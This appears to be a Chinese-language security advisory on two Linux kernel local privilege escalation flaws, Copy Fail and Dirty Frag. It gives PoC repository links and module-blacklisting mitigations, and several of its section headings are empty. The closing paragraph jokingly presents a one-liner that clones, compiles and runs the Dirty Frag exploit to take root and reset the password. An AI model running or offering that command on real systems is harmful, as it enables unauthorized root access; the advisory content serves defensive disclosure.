Linux 本地提权漏洞报告:Copy Fail & Dirty Frag

近期披露的两个 Linux 内核本地提权漏洞 Copy Fail (CVE-2026-31431) 和 Dirty Frag 具有极高的安全影响。两者均利用了内核零拷贝（zero-copy）机制中的逻辑缺陷，允许本地无特权用户获得 root 权限，影响几乎所有主流 Linux 发行版。

1

Copy Fail (CVE-2026-31431)

1.1

基本信息

PoC 仓库 ( https://github.com/theori-io/copy-fail-CVE-2026-31431 )

1.2

时间线

1.3

影响范围

1.4

缓解措施

立即缓解（无需重启）：

1echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf2rmmod algif_aead

长期措施：升级内核至已修复版本

2

Dirty Frag

2.1

基本信息

2.2

时间线

2.3

技术原理

Dirty Frag 由两个独立漏洞组合而成：

漏洞 1: xfrm ESP-in-UDP MSG_SPLICE_PAGES 无 COW 路径

漏洞 2: rxrpc/rxkad 逻辑缺陷

漏洞 1 提供页缓存写入能力（类似 Copy Fail）

漏洞 2 提供辅助提权路径

2.4

影响范围

2.5

缓解措施

立即缓解（推荐）：

1sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

注意：禁用这些模块可能影响 VPN/IPSec 功能。

3

结论

Copy Fail 和 Dirty Frag 是近年来最具影响力的 Linux 本地提权漏洞组合。

影响范围几乎所有发行版，Copy Fail 正常披露；Dirty Frag 因上游 commit 公开导致 embargo 提前打破。

不过这两个都是本地提权漏洞，对于本就是 root 用户的个人服务器，这条新闻你就当没看到。

对于忘记 root 密码的人有福了（haha），找回密码教程：

1git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp2# 设置你的新密码3passwd root